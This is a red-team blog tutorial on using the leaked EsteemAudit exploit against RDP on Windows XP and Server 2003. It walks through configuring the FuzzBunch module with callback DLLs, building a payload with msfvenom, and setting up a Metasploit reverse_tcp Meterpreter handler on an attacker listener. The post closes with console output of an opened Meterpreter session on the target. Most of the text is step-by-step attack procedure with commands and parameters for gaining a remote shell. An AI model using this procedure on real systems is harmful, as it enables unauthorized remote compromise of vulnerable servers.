As we all know EsteemAudit(EA) was one of the many tools released by the shadowbrokers. It targets the RDP service on XP and Server 2003 systems. This is done by exploiting the gpkcsp.dll of the Windows Smart Card. EA performs a buffer overflow of the key_data component of the key_set structure when a call to memcpy() is made! This awesome exploit provides a real ms08_67 sort of capability to situations when a RedTeamer finds themselves in an environment where XP or Server 03 is present with RDP enabled. Although XP systems are becomming more and more extinct, it is still common to run across a Server 03 system when testing. Nonetheless, its important to have a tool for all occassions so keeping this baby tucked away in your tool-box could very well come in handy one day. For anyone who wants a more in-depth look into the exploit itself, a great article written by Tao Yan of Palo Alto would be a great start!

So in this post I will talk about EA and its features, as well as some of methods that I have used this exploit as a stager to deliver my agents to a target. This particular post will cover using it in conjunction with Metasploit, with a subsequent post where I will demonstrate using it with in different ways with different attack platforms.


The tools that I used in this setup was VMWare Fusion, (target) Server 2003 R2 running as a DC with RDP running on it, Windows 7 Pro as my initial attack platform with FuzzBunch running on it, and Kali Linux.


Every environment is different, however, the following features are the ones which I found to be really important. Ensure that you are fully aware of the target architecture because there are x86 version and x64 versions of each of the dll’s and it critical that you use the appropriate version and that your custom dll version matches as well.

[*] TargetIP (victim IP)
[*] TargetPort (RDP(usually 3389))
[*] CallbackIP (IPofyourlistener)
[*] CallbackPort (Portofyourlistener)
[*] CallbackLocalPort (Portofyourlistner)
[*] MigrateProcessDLL (Path\to\rudo_x64.dll)
[*] CallbackPayloadDLL (Path\to\yourDLL_x64.dll)
[*] ListenPayloadDLL (Path\to\lipa_x64.dll)
[*] Payload (Callback)
[*] Architecture (x86 64-bit)
[*] Target  (Eng|Jpn|64)

The Process:

If you’re familiar with Metasploit and how the payloads are configured within it, then the overall process for using EA is fairly straightforward. Once oriented with the slightly obscure lingo, it was simple to use.

Step 1: Information Gathering…
You will need to know the target system’s architecture, language, IP, listener IP & listener Port

Step 2: Build your callback DLL using msfvenom:
One of the key things to mention for this part is the architecture. Make sure that the system, callbackdll, migratedll, and listenerdll are all compiled for the same architecture type.


Step 3: Create your handler for your listener using Metasploit
The key step here is to make sure the payload and architecture matches the one that you used to create your dll with and that listening port matches as well

* (Handler) use exploit/multi/handler
* (Payload) set payload windows/x64/meterpreter/reverse_tcp
* (LHOST) set LHOST x.x.x.x the ip of your Kali or wherever the listener  is running
* (LPORT) set LPORT as the ephemeral high port that you’ll be listening on

Step 4: Start your listener then switch over to your initial attack platform which in this example is my Windows 7 Pro system.

msf exploit (handler) > run
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on

Step 5: Now back on my initial attack platform I will set up fuzzbunch(FB) and get ready to configure EA. Since setting up FB was covered in a previous post on this blog I will start from there and dive right into setting up the exploit.

So essentially there are 3 primary components to consider within the EA exploit. Each of them have both a x86 and x64 bit version that is by default located in the storage folder of the directory that contains your FB files. Ensure that the appropriate version is used across these libraries, the library you built using msvenom

- rudo_(x86/x64).dll (helps facilitate migration to a different process) 
- capa_(x86/x64).dll (the agent that will be injected to the rm process)
- lipa_(x86/x64).dll   (helps facilitate the callback to the listener)   

Besides these 3 components, you will also need the information that was mentioned in Step 1 so that you can appropriately answer the questions when prompted by FB.
From the fb > prompt, follow the following screen shots:

fb > use esteemaudit

The output should look similar to the following, with obvious changes to IP’s and the name of your dll created with msvenom. If you’re at this point and don’t know how to use FuzzBunch (FB) or if you seem a bit lost, you should read a previous post Match Made in the Shadows to ge caught up to this point.


Step 6: From there you will enter the prompted mode where all of your input values are checked against what I like to call the “target or session context” that your FB session started in. The image below shows each prompted question, each of which beginning with [?]; followed by a response with the input you provided beginning with [+].


Step 7: Once you’ve answered all the prompts, you’ll reach an additional warning which will again display your input values and ask if you’d like to execute the plugin. At this point if you have not been prompted to enter the absolute path to your 3 DLL’s, type “no” and press enter. Next type “info” and hit enter. The output should look similar to the output below, with your environment specific changes.


Make sure that the migratecallback, and listener parameters properly reflect your targeted architecture and absolute locations for your DLL’s.

Step 8: If all the parameters are correct with your output, type “execute” and hit enter. If anything needs changing you can type “prompt” to have it walk you through each option. This option is preferred because all of your previous input stays the same and therefore you can just hit enter until you reached the area that requires change, then make your changes. An alternate method would be to use the “set” command along with the parameter name that you wish to edit, and simply change that one setting. Either way, once the parameters are okay and you’ve double checked; type “execute” and go back to your Kali system and wait for the callback!

After executing your configured EA exploit you should see the logs of the overall execution displayed on your screen similar to the images above, and at the very bottom you will see Plugin Failed and Esteemaudit Failed, however this is because FB never received a callback due to it being sent to Meterpreter instead.

Meanwhile if you jump back to your Kali system, your Metasploit prompt should look like the image below and now you can use Meterpreter commands and/or drop into a shell:-P

msf exploit (handler) > run
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on
msf exploit (handler) > [*] Sending stage (205379 bytes) to
[*] Meterpreter session 1 opened ( -> at 2017-11-13 09:13:14 -0500
msf exploit (handler) > 
msf exploit (handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

Leave a Reply

Your email address will not be published. Required fields are marked *